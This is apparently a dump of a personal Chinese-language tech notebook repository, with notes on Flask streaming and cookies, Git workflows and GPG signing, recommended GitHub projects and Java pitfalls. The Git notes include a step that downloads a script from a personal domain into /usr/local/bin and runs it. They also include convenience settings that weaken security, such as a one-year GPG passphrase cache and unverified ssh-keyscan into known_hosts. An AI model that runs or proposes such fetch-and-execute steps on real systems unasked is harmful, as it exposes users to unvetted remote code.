**targs)\r\n```\r\n\r\n然而这样需要每个视图函数都写这三行，不够优雅\r\n\r\n不如试试：获取调用者的局部变量 https://stackoverflow.com/questions/6618795/get-locals-from-calling-namespace-in-python\r\n\r\n```\r\nimport inspect\r\ndef myrender_template(filename):\r\n    backframe = inspect.currentframe().f_back\r\n    targs = {}\r\n    targs.update(backframe.f_globals)\r\n    targs.update(backframe.f_locals)\r\n    return render_template(filename, **targs)\r\n```\r\n\r\n------\r\n\r\n## 在Flask中正确地产生流式响应EventSource\r\n\r\n考虑我们需要向前端提供消息队列的消费者，比如收到广播后发给浏览器通知用户。当然我们可以用websocket，但这种场景（只有服务器给浏览器发）下只需要长连接的EventSource就行了。\r\n\r\n基础篇： https://stackoverflow.com/questions/12232304/how-to-implement-server-push-in-flask-framework\r\n\r\n```\r\ndef queue_consumer():\r\n    conn = 创建连接() #连接到消息队列，创建 channel\r\n    for data in conn.读取数据():\r\n        yield b\"data: \"+data+b\"\\n\\n\"\r\n    关闭连接() # 怎么执行到？\r\n\r\n@app.route(\"/stream\")\r\ndef stream():\r\n    return Response(queue_consumer(), mimetype=\"text/event-stream\")\r\n```\r\n\r\n这个的问题在于关闭连接不会执行到，在消息队列服务器上观察到channel一直没有释放，这肯定不行，我们需要在浏览器断开连接的时候自动释放conn等资源。\r\n\r\n读了 werkzeug 的源代码发现 Response 有 call_on_close 函数，在连接关闭的时候我们把生成器close即可触发yield的异常：\r\n\r\n```\r\ndef queue_consumer():\r\n    conn = 创建连接() #连接到消息队列，创建 channel\r\n    try:\r\n        for data in conn.读取数据():\r\n            yield b\"data: \"+data+b\"\\n\\n\" #结束的时候会触发GeneratorExit异常\r\n    except:\r\n        pass\r\n    关闭连接()\r\n\r\n@app.route(\"/stream\")\r\ndef stream():\r\n    consumer = queue_consumer()\r\n    res = Response(consumer, mimetype=\"text/event-stream\")\r\n    def onclose():\r\n        consumer.close()\r\n    res.call_on_close(onclose)\r\n    return res\r\n```\r\n\r\n这样还不够，发现无法使用g，以及Nginx默认缓存响应导致延迟，需要继续配置：\r\n\r\n```\r\ndef queue_consumer():\r\n    conn = 创建连接() #连接到消息队列，创建 channel\r\n    try:\r\n        for data in conn.读取数据():\r\n            yield b\"data: \"+data+b\"\\n\\n\" #结束的时候会触发GeneratorExit异常\r\n    except:\r\n        pass\r\n    关闭连接()\r\n\r\n@app.route(\"/stream\")\r\ndef stream():\r\n    consumer = queue_consumer()\r\n    res = Response(stream_with_context(consumer), mimetype=\"text/event-stream\")\r\n    def onclose():\r\n        consumer.close()\r\n    res.call_on_close(onclose)\r\n    res.headers[\"X-Accel-Buffering\"] = \"no\"\r\n    res.headers[\"Cache-Control\"] = \"no-cache\"\r\n    return res\r\n```\r\n\r\n这些Nginx配置你也可能需要加上：尤其是还有下一层反代的时候\r\n\r\n```\r\nuwsgi_pass_header \"X-Accel-Buffering\";\r\nuwsgi_read_timeout 120s;\r\nuwsgi_send_timeout 120s;\r\n\r\nproxy_http_version 1.1;\r\nproxy_set_header Connection \"\";\r\nproxy_pass_header \"X-Accel-Buffering\";\r\n```\r\n\r\n----\r\n\r\n## Flask跨域Cookie\r\n\r\n当我们的网站能被跨域访问的时候，要注意cookie的设置，加上`SameSite=None; Secure`\r\n\r\n参考:\r\n\r\n- https://stackoverflow.com/questions/56828663/how-to-explicitly-set-samesite-none-on-a-flask-response\r\n- https://github.com/pallets/werkzeug/issues/1549\r\n- https://stackoverflow.com/questions/62992831/python-session-samesite-none-not-being-set\r\n\r\n```\r\nresp.set_cookie('cross-site-cookie', 'bar', samesite='None', secure=True)\r\nresp.headers.add('Set-Cookie','cross-site-cookie=bar; SameSite=None; Secure')\r\n```\r\n\r\nFlask的session cookie也要跨域的话：\r\n\r\n```\r\nfrom flask import session\r\nfrom flask.sessions import SecureCookieSessionInterface\r\n\r\nsession_cookie = SecureCookieSessionInterface().get_signing_serializer(app)\r\n@app.after_request\r\ndef cookies(response):\r\n    same_cookie = session_cookie.dumps(dict(session))\r\n    response.headers.add(\"Set-Cookie\", f\"session={same_cookie}; Secure; HttpOnly; SameSite=None; Path=/;\")\r\n    return response\r\n```\r\n\r\n"
  },
  {
    "path": "Gemfile",
    "content": "source 'https://gems.ruby-china.org'\ngem 'github-pages', group: :jekyll_plugins\n"
  },
  {
    "path": "Git.md",
    "content": "# Git\r\n\r\n参考 **沉浸式学 Git** http://igit.linuxtoy.org/\r\n\r\n参考 Learn Git Branching [learngitbranching.js.org](https://learngitbranching.js.org/?locale=zh_CN)\r\n\r\n----\r\n\r\n## 立即使用\r\n\r\n在网页上先创建了仓库，设置好.gitignore\r\n\r\n```bash\r\ngit clone  github提供的地址(用ssh的)\r\n# 现在创建了你的仓库文件夹，将需要上传的文件放进去\r\ncd 你的仓库名称\r\ngit add .\r\ngit commit -a -m \"这次改了些啥？\"\r\ngit push\r\n```\r\n\r\n更多的配置：\r\n\r\n```\r\n# 默认git pull --rebase\r\ngit config --global pull.rebase true\r\n```\r\n\r\n----\r\n\r\n## 加速git clone\r\n\r\n方法1：配置一个代理(如privoxy)，并使用https地址\r\n\r\n方法2：使用`--depth 1`参数表示不要复制历史\r\n\r\n```\r\nexport https_proxy=\"http://127.0.0.1:8118\"\r\ngit clone --depth 1 https://github.com/zjuchenyuan/notebook\r\n```\r\n\r\n----\r\n\r\n## git push加速\r\n\r\n代码参见[code/ssgit.txt](/code/ssgit.txt)\r\n\r\n----\r\n\r\n## git push免密码\r\n\r\n参照http://blog.csdn.net/chfe007/article/details/43388041\r\n\r\n首先生成自己的ssh密钥，不要修改生成的文件位置\r\n\r\n    ssh-keygen -t rsa -b 4096\r\n\r\n然后把`~/.ssh/id_rsa.pub`的内容设置到github中，[网页端操作](https://github.com/settings/keys)；建议顺带启用两步验证\r\n\r\n新手还告诉git自己是谁：\r\n\r\n    git config --global user.email \"你的邮箱\"\r\n    git config --global user.name \"你的用户名\"\r\n\r\n如果当前仓库是https的，改为git方式：\r\n\r\n    git remote set-url origin git@github.com:用户名/仓库名称.git\r\n    \r\n----\r\n\r\n## bash别名设置\r\n\r\n通过修改~/.bashrc来设置别名，让git的日常使用更简单：\r\n\r\n```\r\nfunc_g(){\r\n  git add .\r\n  git commit -a -m \"$1\"\r\n  git push\r\n}\r\nalias g=func_g\r\nalias gs='git status '\r\nalias ga='git add '\r\nalias gb='git branch '\r\nalias gc='git commit'\r\nalias gd='git diff'\r\nalias go='git checkout '\r\nalias gp='git push'\r\nalias gl=\"git log --all --pretty=format:'%h %ad | %s%d [%an]' --graph --date=short\"\r\n```\r\n\r\n![gl的效果](https://raw.githubusercontent.com/zjuchenyuan/notebook/master/download/img/gl.jpg)\r\n\r\n完成一次提交，现在只需要`g \"提交信息\"`\r\n\r\n要立即生效，可以执行`source ~/.bashrc`\r\n\r\n## 设置bash中的自动完成与dirty提示\r\n\r\n此部分内容来自Udacity 如何使用 Git 和 GitHub 课程\r\n\r\n下载需要的文件\r\n\r\n```\r\ncurl -O https://raw.githubusercontent.com/git/git/master/contrib/completion/git-completion.bash\r\ncurl -O https://raw.githubusercontent.com/git/git/master/contrib/completion/git-prompt.sh\r\n```\r\n\r\n在`~/.bashrc`末尾添加：\r\n\r\n```\r\nsource ~/git-completion.bash\r\ngreen=\"\\[\\033[0;32m\\]\"\r\nblue=\"\\[\\033[0;34m\\]\"\r\npurple=\"\\[\\033[0;35m\\]\"\r\nreset=\"\\[\\033[0m\\]\"\r\nsource ~/git-prompt.sh\r\nexport GIT_PS1_SHOWDIRTYSTATE=1\r\nexport PS1=\"$purple\\u$green\\$(__git_ps1) \\w\\a $ $reset\"\r\n```\r\n\r\n效果如图，如果出现了未提交的修改，会自动显示出*表示dirty：\r\n\r\n![setgit.jpg](download/img/setgit.jpg)\r\n\r\n## 好玩的命令们\r\n\r\n### git status\r\n\r\n查看状态咯~\r\n\r\n### git reset\r\n\r\n已经`git add`了，想取消这一步就用`git reset`\r\n\r\n### git checkout\r\n\r\n啊。。。代码搞坏了我要回滚到上次commit，用`git checkout -- 文件名`\r\n\r\n### git reset --soft <commit_id>\r\n\r\n撤销到某次commit，但不删除新增文件\r\n\r\n其中commit_id可以从`git log`获得\r\n\r\n### 恢复git reset --hard删除的文件\r\n\r\ngit的历史是不能用命令修改的，丢失的commit用reflog可以找回，除非git已经把它当成垃圾删除（30天）\r\n\r\n```\r\ngit stash save\r\ngit reflog # 查看丢失的那个commit的id\r\ngit checkout 那个commitid\r\ngit branch recover # 创建recover分支\r\ngit checkout master # 回到master\r\ngit merge recover # 合并recover到master\r\ngit branch -d recover # 合并完成后就可以删了\r\n```\r\n\r\n----\r\n\r\n## 你可能会问的一些问题\r\n\r\n* 为啥要**git add**呢?\r\n\r\n因为有些时候两个文件可能是不相关的修改，应该分别提交两次\r\n\r\n> 通过分开暂存和提交，你能够更加容易地调优每一个提交。\r\n\r\n* 为啥不改.profile而是改.bashrc呢\r\n\r\n因为win10中只要有一个bash窗口没关掉，启动bash就不是登录，而是相当于再开了个`docker exec -i -t bashonwin10 /bin/bash`\r\n\r\n此时是不会执行登录脚本.profile的，但是.bashrc还是会执行的\r\n\r\n----\r\n\r\n## Git各种情景\r\n\r\nLearned from [githug](https://github.com/Gazler/githug)\r\n\r\n### 忽略*.a文件但不想忽略lib.a\r\n\r\n文档查看：`git gitignore --help`\r\n\r\n!表示负向选择，在.gitignore中添加：\r\n\r\n```\r\n*.a\r\n!lib.a\r\n```\r\n\r\n### commit补上忘掉的文件\r\n\r\n如果发现上次commit漏了文件，不应该新加commit而是应该用amend，否则可能上CI就挂\r\n\r\n```\r\ngit add forgotten.txt\r\ngit commit --amend\r\n```\r\n\r\n### 查出此行代码的最后修改者\r\n\r\ngithub提供的blame功能更好看，显示每行代码的作者和来源于哪次commit\r\n\r\n```\r\ngit blame filename\r\n```\r\n\r\n### 文件一次性改太多了，拆成多次commit\r\n\r\n让每次commit保持在比较小的改动，不要在一个commit中出现两个不那么相关的修改\r\n\r\n本知识学习自：[10 个迅速提升你 Git 水平的提示](http://www.oschina.net/translate/10-tips-git-next-level)\r\n\r\n方法是在add的时候给出参数-p\r\n\r\n然后git会在每一个修改的block询问是否加入这次的commit，回答y表示加入，n表示不加入，s表示进一步拆分这个block\r\n\r\n完成好选择后，使用`git diff --staged`命令来查询暂存的修改，没有问题就可以继续`git commit`啦\r\n\r\n### 本地忽略一些个人的修改\r\n\r\n原文： http://stackoverflow.com/questions/1753070/git-ignore-files-only-locally\r\n\r\n有时候我们不想让git追踪一些个人相关的文件，例如config中修改Debug=True，此时如果去修改.gitignore造成的影响是全局的，并且需要从git中删除这个文件；手动避开add config很烦，有没有更好的方法，让git忽略掉config文件的修改呢？\r\n\r\n方法是修改`.git/info/exclude`文件，这个文件的语法规则与.gitignore一样\r\n\r\n如果已经造成了修改，还需要执行以下命令：\r\n\r\n```\r\ngit update-index --assume-unchanged [<file>...]\r\n```\r\n\r\n### 本地创建branch后push操作git push -u\r\n\r\nFrom: http://stackoverflow.com/questions/2765421/how-do-i-push-a-new-local-branch-to-a-remote-git-repository-and-track-it-too\r\n\r\n执行了一些修改引入新功能，但还不能工作，决定建立一个dev分支：\r\n\r\n```\r\ngit checkout -b dev\r\n```\r\n\r\n现在再执行`git add`，`git commit`后，需要把新的分支push给远程服务器：\r\n\r\n```\r\ngit push -u origin dev\r\n```\r\n\r\n----\r\n\r\n## 用gpg给git提交签名\r\n\r\n参考：https://help.github.com/articles/signing-commits-with-gpg/\r\n\r\n下述以ubuntu16.04（其实是bash on win10）讲解整个过程\r\n\r\n### 安装gpg2\r\n\r\n查看gpg版本：`gpg --version`发现版本是`gpg (GnuPG) 1.4.20`，而教程要求要2以上，所以先要安装gpg2，并告诉git我们要使用gpg2：\r\n\r\n```\r\napt install -y gpg2\r\ngit config --global gpg.program gpg2\r\n```\r\n\r\n\r\n### 创建一个新的key\r\n\r\n这里github给出的命令有问题，google发现参数改了\r\n\r\n```\r\ngpg2 --full-gen-key\r\n```\r\n\r\n回车选择RSA and RSA，然后输入密钥大小输入4096，然后回车永不过期，确认y，然后输入自己的名字和邮箱 注意这里邮箱要和git commit用到的邮箱一致\r\n\r\n### 导出key的公钥 在github设置中提交\r\n\r\n```\r\ngpg2 --list-secret-keys --keyid-format LONG\r\n```\r\n\r\n如下输出中，我们需要的是3AA5C34371567BD2这一串 就是sec那一行的4096R/后面的东西\r\n\r\n```\r\n$ gpg2 --list-secret-keys --keyid-format LONG\r\n/Users/hubot/.gnupg/secring.gpg\r\n------------------------------------\r\nsec   4096R/3AA5C34371567BD2 2016-03-10 [expires: 2017-03-10]\r\nuid                          Hubot \r\nssb   4096R/42B317FD4BA89E7A 2016-03-10\r\n```\r\n\r\n然后得到公钥：\r\n\r\n```\r\ngpg2 --armor --export 3AA5C34371567BD2\r\n```\r\n\r\n复制屏幕上输出的一大串，打开下面的网页 粘贴提交\r\n\r\nhttps://github.com/settings/gpg/new\r\n\r\n### 配置git使用gpg签名\r\n\r\n告诉git默认使用这个key：\r\n\r\n```\r\ngit config --global user.signingkey 3AA5C34371567BD2\r\ngit config --global commit.gpgsign true\r\n```\r\n\r\n执行 建议将这一行写入~/.bashrc：\r\n\r\n```\r\nexport GPG_TTY=$(tty)\r\n```\r\n\r\n然后就是正常的git add .，git commit -m \"message\"咯\r\n\r\ngpg-agent会在后台运行，默认10分钟内不需要再次输入密码\r\n\r\n### 修改gpg要求再次输入密码的时间限制\r\n\r\n10分钟的默认限制还是太短了，对于安全性要求不高的情景（比如自己的开源代码push到github），不妨设置为密码一直有效，直到gpg-agent重启\r\n\r\n下面的设置将限制改到1年，当然gpg-agent重启还是要再次输入密码的：\r\n\r\n```\r\nvi ~/.gnupg/gpg-agent.conf\r\n\r\ndefault-cache-ttl 34560000\r\nmax-cache-ttl 34560000\r\n```\r\n\r\n\r\n## 使用GitLab API存储数据备份文件 不占用本地空间\r\n\r\n这里的需求是定时任务生成snapshot文件，打算传至免费存储作为备份，不想占用服务器硬盘去存储这个文件，也不想花钱买存储服务\r\n\r\n于是想到免费的gitlab.com的私有仓库，仓库数量无限，[每个repo可以存10GB](https://about.gitlab.com/2015/04/08/gitlab-dot-com-storage-limit-raised-to-10gb-per-repo/)\r\n\r\n使用API来提交可以避免占用本地空间\r\n\r\n其实本来打算用github的，但是github今天(20181022)挂了，于是就gitlab吧\r\n\r\n找到这个python sdk: https://python-gitlab.readthedocs.io/\r\n\r\n写点代码咯：上传当前目录的to_upload.jpg到uploaded.jpg，记得相应修改你的访问令牌和项目ID\r\n\r\n```\r\nTOKEN = '...' # personal access token, https://gitlab.com/profile/personal_access_tokens\r\nREPO_ID = 123456 # after create project, you can see project ID in your repo homepage\r\nmessage = 'test commit'\r\ntarget_filename = 'uploaded.jpg'\r\nsrc_filename = 'to_upload.jpg'\r\n\r\nimport gitlab\r\nimport base64\r\ngl=gitlab.Gitlab('https://gitlab.com',private_token=TOKEN)\r\ngl.auth()\r\np=gl.projects.get(REPO_ID)\r\nfilecontent = open(src_filename, 'rb').read()\r\ndata={\r\n    'branch_name':'master', \r\n    'branch':'master', \r\n    'commit_message':message,\r\n    'actions':[{'action':'create','file_path':target_filename,\r\n                'content':base64.b64encode(filecontent).decode(),\r\n                'encoding': 'base64'}]\r\n}\r\nc=p.commits.create(data)\r\nprint(c)\r\n```\r\n\r\n----\r\n\r\n## 在git服务器无法连接时点对点git pull\r\n\r\n情景：客户端A和B使用gitlab服务器S，然后某天S无法连上了，但A和B之间可以直接通讯。B上开发了新代码，想让A获取到这个更新，如何最方便简单地在A上同步B上的代码更新呢？\r\n\r\n解决方案：用python开个简单的http服务器然后添加http的remote进行pull，注意先要让git解压pack文件\r\n\r\n```\r\ngit update-server-info\r\npython3 -m http.server 6666\r\ngit remote add tmp http://ip-b:6666/.git/\r\ngit pull tmp master\r\n```\r\n\r\n问题来了：如果A访问不了B怎么办呢？通过`git format-patch HEAD~2..HEAD --stdout>patchfile`生成patch文件再发过去`git am patchfile`，但这样可能会改变commit id\r\n\r\n-----\r\n\r\n## git禁用压缩\r\n\r\n如二进制的仓库不想使用压缩，参考: https://stackoverflow.com/questions/11483288/how-to-disable-compression-in-git-server-side\r\n\r\n```\r\ngit config --add core.bigFileThreshold 1\r\n```\r\n\r\n------\r\n\r\n## GitHub不同仓库使用不同ssh key: ghclone\r\n\r\nGitHub要求不同仓库的deploy key不同，但ssh config只能为一个Host设置相同的key\r\n\r\n从[这里](https://gist.github.com/gubatron/d96594d982c5043be6d4)发现了一个trick：`*.github.com`都是可以正常解析到github的，这样就得到了无数个Host\r\n\r\n快速使用：\r\n\r\n```\r\ncurl https://d.py3.io/ghclone > /usr/local/bin/ghclone\r\nchmod +x /usr/local/bin/ghclone\r\nghclone user/repo\r\n```\r\n\r\n会为这个repo创建一个ssh key放在`~/.ssh`目录下，同时修改`~/.ssh/config`，然后显示出公钥，需要手动添加到github，最后回车就会开始git clone\r\n\r\nDone.\r\n\r\n如果是一个已经存在的仓库，最后一步不用回车Ctrl+C后:\r\n\r\n```\r\ngit remote set-url origin git@{repo}.github.com:{user}/{repo}.git\r\n```\r\n\r\n## 启动一个临时的Git服务器 本地之间同步\r\n\r\n场景： GitLab服务器宕机了，现在需要同步自己本地的修改到服务器上\r\n\r\n参考： https://datagrok.org/git/git-serve/\r\n\r\n```\r\n# 自己机器上（有更多commit的）\r\ngit config --global alias.quickserve \"daemon --verbose --export-all --base-path=.git --reuseaddr --strict-paths .git/\"\r\ngit quickserve\r\n\r\n# 服务器上（需要pull得到commit的）\r\ngit remote add temp git://192.168.1.123/\r\ngit pull temp master\r\n```\r\n\r\n同步完成后就可以Ctrl+C关闭git服务了\r\n\r\n!!! note\r\n    git末尾的/不可缺省，不然报错fatal: No path specified. See 'man git-pull' for valid url syntax\r\n    git pull的分支名称master也不能省略\r\n\r\n\r\n----\r\n\r\n## 备份GitHub上自己star过的仓库\r\n\r\n自从GitHub被微软收购后，似乎就崩得更频繁了，为了在这种情况下仍然能读代码，不妨跑一下定时脚本，自动pull指定仓库push到其他git服务上（如自行部署gitea）。\r\n\r\n获取自己star过的所有仓库：（依赖`apt install -y jq`）\r\n\r\n```bash\r\nfor i in `seq 28`; do curl \"https://api.github.com/users/zjuchenyuan/starred?page=${i}\" >${i}.tmp; done\r\ncat *.tmp |jq '.[].full_name' -r > mystars.txt\r\n```\r\n\r\nsync.sh: \r\n\r\n从github clone或fetch对应的仓库，然后push到自己的git服务上，这里使用bare避免checkout导致的更多空间占用\r\n\r\nTODO: 注意到仍然是双份的空间占用（同步和gitea都存了），需要看看能不能直接从gitea的git存储发起fetch更新\r\n\r\n```bash\r\n#!/bin/bash\r\nu=`echo ${1}|cut -d/ -f1`\r\nn=`echo ${1}|cut -d/ -f2`\r\nif [ -z \"$u\" ] || [ -z \"$n\" ]; then\r\n    echo Usage: $0 user/reponame\r\n    exit 1\r\nfi\r\nif [ -d \"${u}_${n}\" ]; then\r\n    cd \"${u}_${n}\"\r\n    git fetch --all\r\n    git push --all sync\r\nelse\r\n    git clone https://github.com/${u}/${n} \"${u}_${n}\" --bare\r\n    cd \"${u}_${n}\"\r\n    git fetch --all\r\n    git remote add sync git@你的git服务地址:你的用户名/${u}_${n}.git\r\n    git push --all sync\r\nfi\r\ncd ..\r\n```\r\n\r\n## git clone和push避免输入ssh询问的yes\r\n\r\n```\r\nmkdir -p ~/.ssh\r\nssh-keyscan 你的git服务地址 >> ~/.ssh/known_host\r\n```\r\n\r\n!!! note\r\n    这个方案并不安全，容易遭受中间人攻击，你应该事先在安全的网络下获取正确的ssh key后直接将指纹写入known_host。\r\n    不过就算不自动化你也会自己回答yes，本质上一样hhh\r\n\r\n## 部署gitea\r\n\r\nhttps://hub.docker.com/r/gitea/gitea\r\n\r\n按照官方给出的docker-compose部署即可，安装时需要留心：smtp的host需要包含端口，登录用户名是完整的邮箱\r\n\r\n然后需要修改配置，允许用户在push一个不存在的仓库时自动创建，参见[这个issue](https://github.com/go-gitea/gitea/issues/8162) 和 [conf配置文档](https://docs.gitea.io/en-us/config-cheat-sheet/)\r\n\r\n需要在app.ini的`[repository]`一节中加入：\r\n\r\n```\r\nENABLE_PUSH_CREATE_USER = true\r\nENABLE_PUSH_CREATE_ORG = true\r\n```\r\n\r\n!!! warning \"小心git bomb\"\r\n    实际测试发现 对[git bomb](https://github.com/Katee/git-bomb)这种仓库 checkout就会占满全部内存\r\n    即使使用上述脚本只同步bare仓库，gitea会启动git show命令，仍然会炸内存（但似乎kill掉这个命令后网页显示也是正常的）\r\n\r\n----\r\n\r\n## Git查询特定commit时间\r\n\r\nhttps://stackoverflow.com/questions/3814926/git-commit-date\r\n\r\n获取时间戳：`git show -s --format=%ct COMMIT_ID`\r\n\r\n----\r\n\r\n## GitHub查询所有releases\r\n\r\nhttps://docs.github.com/en/rest/reference/repos#releases\r\n\r\nhttps://api.github.com/repos/octocat/hello-world/releases?per_page=100&page=1\r\n\r\n----\r\n\r\n## git diff显示修改后行号\r\n\r\n参考： [https://stackoverflow.com/questions/8259851/using-git-diff-how-can-i-get-added-and-modified-lines-numbers](https://stackoverflow.com/questions/8259851/using-git-diff-how-can-i-get-added-and-modified-lines-numbers)\r\n\r\n```\r\ndiff-lines() {\r\n    local path=\r\n    local line=\r\n    while read; do\r\n        esc=$'\\033'\r\n        if [[ $REPLY =~ ---\\ (a/)?.* ]]; then\r\n            continue\r\n        elif [[ $REPLY =~ \\+\\+\\+\\ (b/)?([^[:blank:]$esc]+).* ]]; then\r\n            path=${BASH_REMATCH[2]}\r\n        elif [[ $REPLY =~ @@\\ -[0-9]+(,[0-9]+)?\\ \\+([0-9]+)(,[0-9]+)?\\ @@.* ]]; then\r\n            line=${BASH_REMATCH[2]}\r\n        elif [[ $REPLY =~ ^($esc\\[[0-9;]+m)*([\\ +-]) ]]; then\r\n            echo \"$path:$line:$REPLY\"\r\n            if [[ ${BASH_REMATCH[2]} != - ]]; then\r\n                ((line++))\r\n            fi\r\n        fi\r\n    done\r\n}\r\n```\r\n\r\n用法：`git diff commit^ commit -U0|diff-lines`\r\n\r\n----\r\n\r\n## git导出tag与commit关系\r\n\r\n有些时候需要将commit翻译成对应的tag，可以先这样导出再查询：\r\n\r\n```\r\ngit tag|while read i; do echo ${i} `git log -1 --format='%H' ${i}`; done > tags.txt\r\n```\r\n\r\n虽然git tag也有`--format`参数，但没找到可以显示tag对应commit的方法，那就还是老老实实git log呗\r\n\r\n"
  },
  {
    "path": "GithubProjectRecommendation.md",
    "content": "\r\n\r\n## you-get\r\n\r\nhttps://github.com/soimort/you-get\r\n\r\npip安装后直接下载b站超清视频\r\n\r\n本想自己用PhantomJS写bilibili的下载的，没想到人家拿到了签名的私钥，直接免浏览器实现了666\r\n\r\n----\r\n\r\n## Anki\r\n\r\nhttps://github.com/dae/anki\r\n\r\nAnki是一个辅助记忆软件，它可以在相对合适的时间来告诉你复习什么比较好。\r\n\r\nLearn More:\r\n\r\nhttps://zhuanlan.zhihu.com/p/21338255?refer=-anki\r\n\r\nhttps://zhuanlan.zhihu.com/-anki\r\n\r\n----\r\n\r\n## OnlineJudge\r\n\r\nhttps://github.com/QingdaoU/OnlineJudge\r\n\r\n青岛大学的OnlineJudge，人家的毕业设计呢，界面好看，基于Docker，C和Java的沙箱设计挺完善的\r\n\r\nhttps://github.com/QingdaoU/OnlineJudge/wiki/%E6%AD%A3%E5%BC%8F%E9%83%A8%E7%BD%B2%E6%96%87%E6%A1%A3\r\n\r\n这是安装文档，需要安装Docker和docker-compose，注意其中python tools/release_static.py这一步是必须执行的\r\n\r\n安装后的默认版本是不支持Python作为提交语言的，需要进行如下操作：\r\n\r\n```\r\n# 首先关掉容器\r\ndocker-compose stop\r\n# 在master分支把那个分支merge过来\r\ngit merge origin/python-support\r\npython tools/release_static.py\r\n# 然后启动容器，注意要-d否则会占据前台\r\ndocker-compose up -d\r\n```\r\n\r\n-----\r\n\r\n## sympy\r\n\r\nhttps://github.com/sympy/sympy\r\n\r\nhttp://docs.sympy.org/latest/tutorial/solvers.html\r\n\r\nPython也能用来解方程！求极限！求积分！\r\n\r\n-----\r\n\r\n## shellcheck\r\n\r\n检查自己写的shell脚本有没有问题\r\n\r\nhttps://github.com/koalaman/shellcheck\r\n\r\nhttps://www.shellcheck.net/\r\n\r\n-----\r\n\r\n## InstantClick\r\n\r\nhttps://github.com/dieulot/instantclick\r\n\r\n在鼠标悬停时即刻开始加载网页，显著提高网页加载速度，非常适合静态blog类型网页使用\r\n\r\n----\r\n\r\n## explainshell \r\n\r\nhttps://github.com/idank/explainshell\r\n\r\n查询shell命令各个参数的含义\r\n\r\n----\r\n\r\n## Python Learn Notes\r\n\r\nhttps://github.com/AnyISalIn/Python_Learn_Notes\r\n\r\n一些不错的Python笔记\r\n\r\n----\r\n\r\n## websocketd\r\n\r\nhttps://github.com/joewalnes/websocketd/\r\n\r\n把linux程序的输出输出重定向到websocket，就可以实现网页上实时显示程序执行动态，官网：[http://websocketd.com/](http://websocketd.com/)\r\n"
  },
  {
    "path": "Java.md",
    "content": "\r\n\r\n## Java的神奇(keng)\r\n\r\n记录一下Java与C的不同点，感受Thinking in Java\r\n\r\n### 变量名称\r\n\r\n$就是个普通字符，可以int $a; //php表示mdzz\r\n\r\n### main函数\r\n\r\n必须是public static void main(String[] args)\r\n\r\n如果没有static，编译能通过但没有执行结果？// 待考证，eclipse拒绝运行\r\n\r\n### if\r\n\r\nif中的东西必须是boolean类型的值，不能把int放入if中\r\n\r\nif ( a = true )的坑还是存在的，允许赋值作为if条件\r\n\r\n### %取余的结果\r\n\r\n要考虑到负数的结果啊~（和C一致）\r\n\r\n### 数组声明引用、初始化之后才能用\r\n\r\n不允许int a[5]; 只能int[] a = new int [5];\r\n\r\n如果要初始化 int[] b = new int[]{1,2}; 可以简化为 int c[] = {1,2};\r\n\r\n但不能出现d={1,2}; 不允许大括号这玩意用来赋值，只准用于初始化\r\n\r\n### switch\r\n\r\nboolean是不行的；String是可以的！\r\n\r\ncase是不能重复的（和C一致）\r\n\r\n### ==\r\n\r\n一定是比较地址，如果\"haha\"在代码中出现两次，他们的地址是一样的\r\n\r\n### 类型自动提升\r\n\r\nint long float double\r\n\r\n最高出现哪个全部提升为哪个，都没有就全部提升为int\r\n\r\n所以要这么写才能把byte*2：byte b = (byte)(a*2);\r\n\r\n### 内部类\r\n\r\n加上static后：可以不用实例化外部类就创建对象，不能访问外部类非静态的数据\r\n\r\n不加static：需要先实例化外部类new OuterClass().new InnerClass()\r\n\r\n### 数组的new不创建对象\r\n\r\n对象数组的new是不会创建对象的\r\n\r\n例如 `A[] a=new A[5];` 并不会创建5个A类型的对象，只是5个空引用\r\n\r\n## 异常处理中的资源释放问题\r\n\r\nFrom: http://stackoverflow.com/questions/8080649/do-i-have-to-close-fileoutputstream-which-is-wrapped-by-printstream\r\n\r\n在Java7中引入了ARM(自动资源管理)，并不需要手动释放资源\r\n\r\n以下这种把变量声明放到try后的括号里面，不对资源手动释放的写法是可以的，没有任何错误\r\n\r\n```\r\npublic static void main(String args[]) throws IOException { \r\n    try (PrintStream ps = new PrintStream(new FileOutputStream(\"myfile.txt\"))) {\r\n        ps.println(\"This data is written to a file:\");\r\n        System.out.println(\"Write successfully\");\r\n    } catch (IOException e) {\r\n        System.err.println(\"Error in writing to file\");\r\n        throw e;\r\n    }\r\n}\r\n```\r\n\r\n普通的try-catch是不够的，需要在finally中释放资源：\r\n\r\n```\r\npublic static void main(String args[]) throws IOException { \r\n    PrintStream ps = null;\r\n\r\n    try {\r\n        ps = new PrintStream(new FileOutputStream(\"myfile.txt\"));\r\n        ps.println(\"This data is written to a file:\");\r\n        System.out.println(\"Write successfully\");\r\n    } catch (IOException e) {\r\n        System.err.println(\"Error in writing to file\");\r\n        throw e;\r\n    } finally {\r\n        if (ps != null) ps.close();\r\n    }\r\n}\r\n```\r\n\r\n----\r\n\r\n## JVM启动时的内存参数\r\n\r\nFrom: http://blog.chinaunix.net/uid-26863299-id-3559878.html\r\n\r\n常见参数种类：配置堆区的（-Xms 、-Xmx、-XX:newSize、-XX:MaxnewSize、-Xmn）、配置非堆区（-XX:PermSize、-XX:MaxPermSize）。\r\n\r\n堆区的：\r\n\r\n1、-Xms ：表示java虚拟机堆区内存初始内存分配的大小\r\n\r\n2、-Xmx： 表示java虚拟机堆区内存可被分配的最大上限，通常会将 -Xms 与 -Xmx两个参数的配置相同的值，其目的是为了能够在java垃圾回收机制清理完堆区后不需要重新分隔计算堆区的大小而浪费资源。\r\n\r\n3、-XX:newSize：表示新生代初始内存的大小，应该小于 -Xms的值；\r\n\r\n4、-XX:MaxnewSize：表示新生代可被分配的内存的最大上限；当然这个值应该小于 -Xmx的值；\r\n\r\n5、-Xmn：对 -XX:newSize、-XX:MaxnewSize两个参数的同时配置\r\n\r\n非堆区的：\r\n\r\n1、-XX:PermSize：表示非堆区初始内存分配大小，名字来源于permanent size\r\n\r\n2、-XX:MaxPermSize：表示对非堆区分配的内存的最大上限。\r\n\r\n最大堆内存与最大非堆内存的和不能够超出操作系统的可用内存。\r\n"
  },
  {
    "path": "JavaScript.md",
